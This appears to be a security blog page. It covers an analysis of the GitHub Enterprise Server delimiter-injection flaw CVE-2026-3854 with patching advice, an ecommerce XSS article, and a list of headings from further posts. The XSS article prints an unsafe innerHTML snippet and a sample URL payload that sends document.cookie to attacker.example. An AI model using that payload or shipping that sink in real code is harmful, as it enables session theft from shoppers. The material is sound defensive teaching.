compromise of an existing organization

It was simply push access to a repository on the affected platform. In some cases, that could include a repository created by the attacker themselves.

That detail is what makes this vulnerability so important from a security design perspective.

GitHub says it received the report on March 4, 2026, reproduced the issue within 40 minutes, identified the root cause later that day, deployed a fix to GitHub.com at 7:00 p.m. UTC, and found no evidence of exploitation beyond Wiz’s testing. GitHub Enterprise Server customers, however, need to upgrade to patched versions.

Why developers should care

Remote code execution vulnerabilities in major developer platforms are always serious. But CVE-2026-3854 is especially useful as a case study because it combines several patterns that appear in real systems far beyond GitHub:

authenticated user input entering a backend pipeline
internal services trusting metadata from other services
delimiter-based parsing of structured data
different components interpreting the same data differently
security-critical behavior controlled by internal fields
a low-privilege action reaching a high-impact execution path

Many modern platforms are built as chains of services. A request enters through one component, gets transformed, wrapped, tagged, routed, logged, and processed by several others.

Somewhere in that chain, data often changes form:

JSON becomes headers
headers become environment variables
metadata becomes command arguments
request attributes become policy decisions
events become automation triggers

Every transformation is a potential trust boundary.

CVE-2026-3854 shows what can happen when a value that started as user-controlled input is later treated as trusted internal data.

The simplified technical chain

The full GitHub infrastructure is complex, but the vulnerability can be understood through a simplified model.

A user performs a Git push. Git supports push options, which allow clients to send extra strings to the server as part of the push operation. Those values are legitimate features, not inherently malicious.

The problem was how those values were handled later.

The push option values were inserted into an internal metadata format. That format used a delimiter character, such as a semicolon, to separate fields.

If user input containing that delimiter is not properly escaped, encoded, or rejected, a downstream parser may interpret part of the user input as a separate internal field.

That is the core injection bug.

The attacker is no longer merely sending data. They are shaping the structure of the internal message.

Once that happens, downstream services may treat attacker-controlled fields as trusted fields created by internal infrastructure. If those fields affect how an operation is executed, which environment it runs in, or whether certain sandboxing controls apply, the result can escalate from metadata injection to command execution.

This is why delimiter injection bugs can be so dangerous. They are not always obvious at the point where input first enters the system. The dangerous behavior often appears several services later.

Internal does not mean safe

One of the most common security mistakes in complex platforms is assuming that internal traffic is trustworthy by default.

That assumption often appears in subtle ways:

Only our backend can set this header.

This field is generated internally.

This value has already passed authentication.

This service is not internet-facing.

This is just metadata.

The problem is that internal data often contains, reflects, or is derived from external input.

If a user-controlled value can cross a boundary and become part of an internal protocol, the receiving service must still treat it as untrusted unless there is a strong guarantee that it was safely validated and encoded at the boundary.

Authentication does not solve this. A signed-in user can still be malicious. A low-privilege user can still send unexpected input. A user with access to their own repository can still attack shared infrastructure if the platform processes their request in a shared backend environment.

Authorization answers whether a user is allowed to perform an action.

It does not prove that every field attached to that action is safe to embed into internal commands, headers, environment variables, or policy controls.

Defense in depth still matters

GitHub’s post includes another important lesson: the exploit worked partly because the server had access to a code path that was not intended for that environment.

In other words, the input handling bug was the primary issue, but the impact was amplified because unnecessary execution paths were still present where they should not have been.

That is a useful reminder for application teams. Sanitization, validation, and encoding are critical, but they are not the whole story. Systems should also reduce what dangerous capabilities are available in the first place.

Practical examples include:

removing unused binaries and scripts from production images
disabling hooks or plugins where they are not needed
narrowing service account permissions
separating tenant data from execution environments
keeping debug or admin-only paths out of normal runtime contexts
making dangerous code paths fail closed when reached unexpectedly

Defense in depth is not about assuming the first control will fail. It is about making sure one bug does not become a full system compromise.

Source control is critical infrastructure

A vulnerability in a source control platform is not just a server compromise. It can become a supply-chain incident.

Source code platforms often contain:

proprietary application code
deployment scripts
CI/CD configuration
access tokens
private package references
infrastructure-as-code templates
secrets accidentally committed to repositories
release automation workflows
security tooling configuration

If an attacker compromises a Git platform, the impact may extend beyond confidentiality. They may be able to alter code, tamper with build pipelines, introduce malicious dependencies, or access credentials used to deploy into production environments.

That is why organizations should treat source control infrastructure as critical infrastructure.

For GitHub.com and GitHub Enterprise Cloud users, GitHub says the affected services were patched on March 4, 2026 and that no action is required. For GitHub Enterprise Server operators, the risk depends on whether their instance has been updated and whether any suspicious activity occurred before patching.

What GitHub Enterprise Server administrators should do

If your organization runs GitHub Enterprise Server, this should be treated as an urgent patching event.

GitHub recommends upgrading to the latest available patch release. The fixed GHES release lines referenced by GitHub and NVD include:

GitHub Enterprise Server 3.14.25 or later
GitHub Enterprise Server 3.15.20 or later
GitHub Enterprise Server 3.16.16 or later
GitHub Enterprise Server 3.17.13 or later
GitHub Enterprise Server 3.18.7 or later
GitHub Enterprise Server 3.19.4 or later
GitHub Enterprise Server 3.20.0 or later

Some advisory sources and early references mentioned earlier patch-level numbers. Do not stop at the first minimum version you see in an older advisory if a newer security release is available. Upgrade to the latest patched release in your supported branch.

After upgrading, administrators should review logs and recent activity. GitHub’s guidance specifically points to audit log review, including:

/var/log/github-audit.log

Push options containing delimiter characters, especially semicolons, deserve attention in this context.

A reasonable response checklist includes:

confirm the current GHES version
upgrade to a patched release
review audit logs for unusual git push activity
investigate suspicious push options or delimiter-heavy metadata
review recently created repositories and low-privilege accounts with push access
check for unexpected hooks, service behavior, or backend process execution
rotate sensitive credentials if compromise cannot be ruled out
review CI/CD secrets, deployment keys, GitHub App credentials, and cloud tokens

If an exposed GHES instance remained unpatched after public disclosure, it should be handled with a higher level of suspicion.

The AI-assisted research angle

One detail makes this vulnerability especially relevant to modern security teams: Wiz did not discover it through a traditional source-code review. GitHub Enterprise Server includes closed-source compiled components, which historically made this kind of deep analysis slow and difficult.

Wiz described using AI-augmented reverse engineering workflows to speed up that process. In particular, they used tooling such as IDA MCP to analyze compiled binaries, reconstruct internal protocols, and understand how data moved through GitHub’s Git infrastructure.

That matters because many real-world systems are not easy to audit from source. Security teams often face black-box appliances, proprietary services, compiled binaries, third-party platforms, and complex multi-service architectures where the source is incomplete or unavailable.

AI does not replace skilled security research. This case shows the opposite: the value came from researchers knowing what questions to ask, where to look, and how to validate the risk safely. AI-assisted reverse engineering helped accelerate the analysis, but human judgment connected the technical findings into an exploitable trust-boundary issue.

For defenders, the implication is clear: attackers and researchers can increasingly use AI to understand complex systems faster. Security teams should use the same advantage for defensive review, architecture analysis, binary triage, and deeper testing of internal data flows.

What application teams can learn from this

Most teams are not building GitHub-scale infrastructure. But many are building systems with the same underlying risk pattern.

A web app may pass user input into an internal job queue. An API gateway may forward headers to backend services. A platform may use metadata fields to control tenant routing. An ecommerce system may pass order attributes into fulfillment workflows. A CI/CD tool may convert repository events into shell commands or environment variables.

The pattern is everywhere.

The defensive principles are broadly applicable.

1. Avoid ambiguous internal formats for security-critical data

If fields are separated by delimiters, every component must agree on encoding, escaping, and parsing rules.

Better yet, use structured formats with strict schemas and safe parsers.

2. Validate at trust boundaries, not only at the edge

Input validation at the front door is useful, but data should be revalidated or constrained when it enters a new security context.

3. Do not let user-controlled metadata directly influence execution behavior

If a field affects sandboxing, command execution, file paths, hooks, environment variables, or authorization decisions, treat it as security-critical.

4. Test authenticated low-privilege workflows

Many serious vulnerabilities are reachable only after login. They are often missed when security testing focuses only on unauthenticated attack surfaces.

5. Assume internal services may receive hostile data

Internal does not mean trusted. Internal means there is another boundary to define and defend.

6. Remove unnecessary dangerous code paths

Unused execution paths, debug modes, hooks, plugins, scripts, and admin-only features can turn an input handling bug into a more serious compromise.

If production does not need a capability, remove it from the runtime environment rather than relying only on code paths not being reached.

Questions worth asking in your own environment

CVE-2026-3854 is a good prompt for a practical internal review.

Teams should ask:

Where do we pass user-controlled data into internal headers, queues, events, or metadata?
Do any internal fields control execution behavior or security policy?
Are delimiter-based formats used anywhere in sensitive paths?
Do different services parse the same field differently?
Can low-privilege users reach backend workflows that run code, commands, hooks, or automation?
Are internal service headers protected from user influence?
Are logs detailed enough to reconstruct suspicious activity?
Do our security tests include authenticated roles, not just anonymous users?
Are there dangerous capabilities present in environments that do not need them?

These questions apply to web applications, APIs, cloud platforms, developer tools, ecommerce sites, and internal business systems.

The bigger takeaway

CVE-2026-3854 is not just a GitHub story. It is a trust boundary story.

The vulnerability shows how a normal user action, a standard client, and a legitimate feature can become dangerous when user-controlled input is embedded into internal protocols without strict sanitization.

The most important lesson is this: systems should not treat data as safe simply because it has moved behind the firewall, passed through an authenticated workflow, or arrived inside an internal header.

Modern applications are built from chains of services. Security depends on knowing where trust begins, where it ends, and where user input can quietly cross the line between the two.

For GitHub Enterprise Server operators, the immediate priority is patching and log review. For everyone else, the lasting lesson is to audit internal metadata flows before an attacker does it for you.

Originally published on WardenBit, where I write about practical application security, API risk, and the gap between systems that look secure and systems that are actually secure.

References

XSS in Ecommerce: From Unsafe Rendering to Checkout Risk

Stanley A. — Sat, 25 Apr 2026 12:46:13 +0000

Originally published on WardenBit. This Dev.to version keeps the engineering detail and focuses on the attack path, practical impact, and remediation choices teams can act on.

Cross-site scripting still gets underestimated in modern web apps.

A lot of teams hear "XSS" and think of an old-school alert box, a low-priority frontend bug, or a scanner finding to tidy up later. In ecommerce, that assumption can be expensive.

When attacker-controlled input reaches a trusted browser session near account pages, search, support flows, reviews, promo components, or checkout helpers, the issue is not "JavaScript happened to run." The issue is that untrusted code can now operate inside a real customer journey — and that changes everything.

That shifts XSS from a UI bug into a trusted-session and conversion-risk issue.

In this post, I'll walk through:

how a small unsafe rendering path becomes an exploit chain
why ecommerce is especially exposed
what recent guidance says about XSS in 2026
what developers should change first

Why XSS still matters

OWASP categorises XSS as a browser-side injection problem where a trusted website ends up delivering attacker-controlled script to the victim's browser. That can lead to:

content manipulation
session abuse
credential capture
data exfiltration
fake prompts or payment-flow tampering
redirection to attacker infrastructure

That's already serious in any SaaS context.

In ecommerce, the blast radius is often larger because browser-side trust sits close to:

login state
customer data
checkout completion
embedded payment components
marketing and analytics scripts
support and admin workflows

Even without a server-side compromise, a single browser execution point can be enough to disrupt sales, steal useful data, or set up a second-stage skimming path.

A realistic engineering path from bug to incident

Imagine a store with a modern frontend and a mix of first- and third-party browser code. There is one weak rendering path in a feature like:

a search parameter reflected into the page
a promo code helper that writes raw values into the DOM
a product review field replayed in an internal dashboard
a support note or return message rendered without proper encoding

The exact source varies. The chain is usually familiar.

Step 1: Untrusted input reaches a dangerous sink

The root cause is often simple:

innerHTML
unsafe templating
direct DOM insertion
a framework escape hatch
incomplete sanitisation
encoding applied in the wrong context

A classic example looks like this:

const q = new URLSearchParams(location.search).get('q') || ''
document.querySelector('#search-label').innerHTML = `Results for: ${q}`

If q is attacker-controlled, you have turned a convenience shortcut into a script execution sink. An attacker could craft a URL like:

https://shop.example.com/search?q=<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

A safer version is usually boring on purpose:

const q = new URLSearchParams(location.search).get('q') || ''
document.querySelector('#search-label').textContent = `Results for: ${q}`

That one substitution often marks the difference between displaying user input and executing it.

Step 2: The attacker uses trust, not brute force

Once a page reflects or stores executable input, the attacker no longer needs shell access or a backend foothold.

They can distribute a crafted link through:

phishing pretexts
fake delivery updates
support impersonation
ad/affiliate abuse
compromised social messages

If the victim lands on the real store domain and the browser executes the payload in-site, the attacker inherits the trust of that origin.

Step 3: Script execution turns into business impact

From the browser, attacker code may be able to:

read visible page data
alter messaging during checkout
inject fake login or coupon prompts
intercept form values before submission
insert external loaders
tamper with account workflows
harvest sensitive state if other controls are weak

Even where HttpOnly cookies reduce session-token theft, XSS remains dangerous. The attacker often doesn't need the raw cookie value to create loss — running actions inside the victim's active session, changing UX, and exfiltrating data from the page can be enough.

Why ecommerce is different

In ecommerce, frontend code is frequently asked to do too much.

Teams ship quickly. Marketing needs scripts. Product needs widgets. Support tools get embedded. Reviews, referrals, analytics, personalisation, A/B testing, chat, and payment elements all share browser real estate.

That creates three patterns defenders should pay attention to.

1. The browser is part of the revenue path

A vulnerability on a brochure page is not the same as a vulnerability next to cart, account, or checkout state.

The closer an execution point is to payment actions, identity flows, account management, or customer support — the more likely it becomes that a "frontend bug" produces measurable revenue loss.

2. Third-party script sprawl increases uncertainty

Many teams know their backend asset inventory better than their browser estate. That's a problem.

If you can't answer:

what scripts run on sensitive pages
who owns them
why they are there
what permissions they effectively have

…then your practical attack surface is larger than your code repository suggests.

3. XSS overlaps with skimming concerns

Recent PCI and ecommerce guidance keeps pushing the same message: browser-side compromise matters because that is where customer value is collected.

Not every XSS issue becomes Magecart-style abuse, but the overlap in commercial concern is real:

payment-flow manipulation
hostile JavaScript on sensitive pages
data theft before submission
redirection to attacker-controlled domains

That is why XSS deserves more than checkbox treatment on ecommerce properties.

Current signals that this is still a live problem

Several recent guidance and trend signals reinforce that XSS remains strategically relevant:

OWASP continues to emphasise correct context-aware output encoding, safe sinks, and cautious handling of framework escape hatches.
CISA/FBI secure-by-design messaging in late 2024 explicitly called for eliminating XSS as a defect class — not just patching isolated bugs forever.
PCI-related guidance has continued to focus merchant attention on payment-page script integrity and unauthorised browser-side changes.
Ecommerce threat reporting through 2024 and 2025 showed continued skimmer and browser-compromise activity against legitimate stores.

The takeaway for engineers: the browser is still an attack surface that can turn directly into commercial loss.

What developers should review first

If you are trying to reduce real XSS risk, start with the paths that combine exposure and business impact.

1. Find unsafe sinks before you chase edge-case payloads

Search the codebase and rendering paths for patterns such as:

innerHTML / outerHTML
insertAdjacentHTML
template interpolation into raw HTML
dangerous markdown/HTML rendering paths
legacy DOM manipulation helpers
custom sanitisers with unclear guarantees

Also inspect admin tools and support dashboards — not just public-facing pages. A stored payload in an internal workflow is often more dangerous than a reflected one on a marketing page.

2. Match encoding to the real output context

A common failure mode is treating "sanitise user input" as a universal answer. It is not.

HTML body, HTML attribute, URL, JavaScript, and CSS contexts each have different rules. Correct encoding depends on where the data actually lands. If your team cannot explain the sink and context, you probably don't have enough confidence in the defence.

3. Prefer safe sinks by default

Where the requirement is to display text, use APIs that keep it as text:

textContent
controlled setAttribute for safe attributes
framework-native escaped rendering paths

Unsafe-by-default shortcuts should require explicit justification — and code review sign-off.

4. Treat rich text as a special case

If the business genuinely needs HTML input, use a strict allow-list sanitiser and keep the allowed surface small.

"Trusted because it came from our CMS" or "trusted because support staff entered it" is not a defence if the value can be replayed into a browser and later abused.

5. Reduce third-party risk on sensitive pages

On login, account, and checkout-adjacent routes, review:

whether each third-party script is necessary
whether it can be moved off the critical path
whether stronger CSP rules are possible
whether inline execution can be reduced
whether integrity checks, change monitoring, or tighter script governance exist

6. Test the journey, not just the component

Many teams validate XSS at the component level but miss the operational question:

What can a payload do inside a real account session?
What sensitive workflows are exposed nearby?
Can it alter the checkout path?
Can it harvest anything useful from the page?
Can it pivot into support or admin tooling?

Those are the questions that turn a scanner finding into an actual severity decision.

A quick triage model for ecommerce teams

When you find XSS or suspicious unsafe rendering, triage it with these questions:

Is the issue reflected, stored, or DOM-based?
Does it execute on public pages, authenticated pages, or staff-only workflows?
Is it near account data, checkout data, or support/admin tooling?
Can it alter visible trust signals or action flows?
Can it introduce or load external attacker-controlled resources?
What controls already reduce impact: CSP, HttpOnly, same-site cookies, token design, isolation, monitoring?
If exploited at scale for 3–4 days, what would the business actually feel?

That last question is often what gets missing urgency back into the conversation.

The engineering lesson

The most useful mental shift is this:

XSS is not important because of the payload demo. It is important because of execution inside trust.

Once untrusted code runs in the browser of a real customer on a real store, the question becomes:

What does the user trust here?
What can the script observe?
What can it change?
What business process depends on this page behaving honestly?

That is why practical security reviews still matter even when teams already run scanners and linters. Automated tools are helpful, but they don't always tell you whether a given rendering flaw can actually interfere with commerce, customer trust, or recovery cost.

Final takeaway

For ecommerce teams, XSS should not be filed under "minor frontend issue" by default.

It belongs in the same conversation as:

checkout resilience
client-side script governance
payment-page integrity
account security
incident cost

If your application handles customer journeys in the browser, the right question is not whether XSS is old.

It is whether your current frontend patterns make unsafe rendering impossible, rare, or easy for an attacker to turn into a bad week.

Canonical version: WardenBit blog article on ecommerce XSS risk. If you want, I can also turn this into a code-review checklist for React/Next.js teams or a tester's validation checklist for browser-side security findings.

DEV Community: Stanley A.

96% of Ransomware Victims Are Small Businesses — How to Actually Protect Your Stack

Why SMBs Are the Primary Target

The Modern Ransomware Kill Chain

Stage 1: Initial Access

Stage 2: Reconnaissance

Stage 3: Data Exfiltration

Stage 4: Encryption + Ransom

Stage 5: The Real Cost

Your WAF Isn't Enough

Three Stack-Level Controls That Actually Work

1. Backup Verification (Test Recovery, Not Just Backups)

2. Free Security Baseline (5 Minutes)

3. Close the Top 3 Entry Points (This Week)

The Numbers

What to Do Today

WordPress 7.0.2 — Patching an Unauthenticated RCE Chain Right Now

What the Two CVEs Actually Do

CVE-2026-60137 — SQL Injection via WP_Query

CVE-2026-63030 — REST API Batch Route Confusion → RCE

Why the Chain Matters

Affected Versions

Emergency Mitigation (If You Can't Patch Immediately)

How to Patch

WP-CLI (recommended for ops)

Manual via SSH

WordPress Dashboard

Docker / CI-CD

Post-Patch Verification Checklist

1. Version check

2. Check for new admin accounts

3. Look for recently modified core files

4. Database audit

5. Log analysis

6. WAF rule status

What This Means for Your Deployment Pipeline

The Broader Pattern

Quick Reference

AI Wrote Your Code. Did It Ship a Vulnerability Too?

What the Data Shows

Why Bigger Models Aren't Safer

The Five Vulnerabilities AI Introduces Most Often

1. Hardcoded Secrets and API Keys

2. SQL Injection via String Concatenation

3. Weak Cryptography

4. Missing Authorization Checks

5. Command Injection

Three Layers of Protection

The Bottom Line

How AI Rewrote the Attacker's Playbook in 2026

The EDR Evasion Toolkit

The First AI-Discovered Zero-Day

Autonomous Malware: PROMPTSPY

Supply Chain Attacks on AI Infrastructure

The Scale

What Defenders Should Do

Bottom Line

Someone Else Might Already Be Logged Into Your Shop

Scale

The Three Vectors You Should Be Architecting Against

1. Credential stuffing

2. Session hijacking

3. AI-assisted phishing

Five Things to Check (Or Tell Your Team to Check)

1. Rate limiting on login

2. MFA — ideally passkeys

3. Server-side session invalidation

4. Suspicious login detection

5. Audit your platform's security features

The Architectural Takeaway

Supply Chain Is the New Front Door: What May 2026 Taught Us About Third-Party Risk

What Happened: Three Incidents, One Pattern

1. DAEMON Tools — Trojanized Installers (May 6)

2. DigiCert — Fraudulent Code-Signing Certificates (May 4)

3. TanStack Supply-Chain Attack → OpenAI (May 14)

The Anatomy of a Supply Chain Attack

Why Traditional Security Testing Misses This

Real-World Attack Surface: What We Find During Pentests

Dependency Confusion & Typosquatting

Exposed CI/CD Credentials

CVE-2026-60137 — SQL Injection via `WP_Query`